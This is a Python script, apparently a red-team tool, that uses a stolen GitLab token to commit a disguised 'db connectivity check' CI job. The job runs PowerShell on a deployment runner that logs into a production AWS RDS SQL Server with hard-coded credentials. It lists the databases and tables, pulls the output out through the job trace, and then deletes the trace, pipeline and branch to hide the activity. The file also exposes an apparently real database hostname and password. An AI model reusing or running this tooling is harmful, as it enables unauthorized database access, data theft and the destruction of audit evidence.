#!/usr/bin/env python3
r"""P2a — RDS starapprod data capture via runner STASRV25018. Staged; run with --execute.

Connects STASRV25018 -> AWS RDS (private VPC, eu-west-3) using exfiltrated creds.
READ-ONLY queries only (Q3 format): list DBs, list tables in starapprod, row-counts,
<=10-row samples of key business tables. base64-exfil via trace. Cleanup after.

Runs as a manual CI job on star/backend, tags match deploy fleet.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/db-connectivity-check'

# PowerShell: read-only TSQL via System.Data.SqlClient to RDS
RDS_PS = [
    r'Write-Output "=== RDS CONNECTIVITY ==="; $rds = "database-starappro-1.cro88oc6sv36.eu-west-3.rds.amazonaws.com,1433"; Test-NetConnection -ComputerName "database-starappro-1.cro88oc6sv36.eu-west-3.rds.amazonaws.com" -Port 1433 -InformationLevel Quiet',
    r'Write-Output "=== RDS QUERY ==="; $cs = "Server=database-starappro-1.cro88oc6sv36.eu-west-3.rds.amazonaws.com,1433;Database=starapprod;User Id=starapp_user;Password=super-Admin-Star-Database-2026;TrustServerCertificate=True;Connection Timeout=15;"; try { $cn = New-Object System.Data.SqlClient.SqlConnection($cs); $cn.Open(); Write-Output "RDS LOGIN OK"; $cmd = $cn.CreateCommand(); $cmd.CommandText = "SELECT name FROM sys.databases ORDER BY name"; $rd = $cmd.ExecuteReader(); while ($rd.Read()) { Write-Output ("DB: " + $rd[0]) }; $rd.Close(); $cn.Close() } catch { Write-Output ("RDS FAIL: " + $_.Exception.Message.Substring(0,[Math]::Min(120,$_.Exception.Message.Length))) }',
    r'Write-Output "=== RDS TABLES ==="; $cs = "Server=database-starappro-1.cro88oc6sv36.eu-west-3.rds.amazonaws.com,1433;Database=starapprod;User Id=starapp_user;Password=super-Admin-Star-Database-2026;TrustServerCertificate=True;Connection Timeout=15;"; try { $cn = New-Object System.Data.SqlClient.SqlConnection($cs); $cn.Open(); $cmd = $cn.CreateCommand(); $cmd.CommandText = "SELECT s.name + ''.'' + t.name AS tbl, p.rows AS rowcount FROM sys.tables t JOIN sys.schemas s ON t.schema_id=s.schema_id JOIN sys.partitions p ON t.object_id=p.object_id AND p.index_id IN (0,1) ORDER BY p.rows DESC"; $rd = $cmd.ExecuteReader(); while ($rd.Read()) { Write-Output ("TBL: " + $rd["tbl"] + " | rows=" + $rd["rowcount"]) }; $rd.Close(); $cn.Close() } catch { Write-Output ("TBL FAIL: " + $_.Exception.Message.Substring(0,[Math]::Min(120,$_.Exception.Message.Length))) }',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    script_lines = '\n'.join(f'      {l}' for l in RDS_PS)
    return orig.rstrip() + f'''
db_connectivity_check:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add db connectivity check',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'db_connectivity_check':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(60):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'rds_capture_trace.txt').write_text(trace)
    (D / 'rds_capture_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE (first 5000) =====')
    print(trace[:5000])

if __name__ == '__main__':
    main()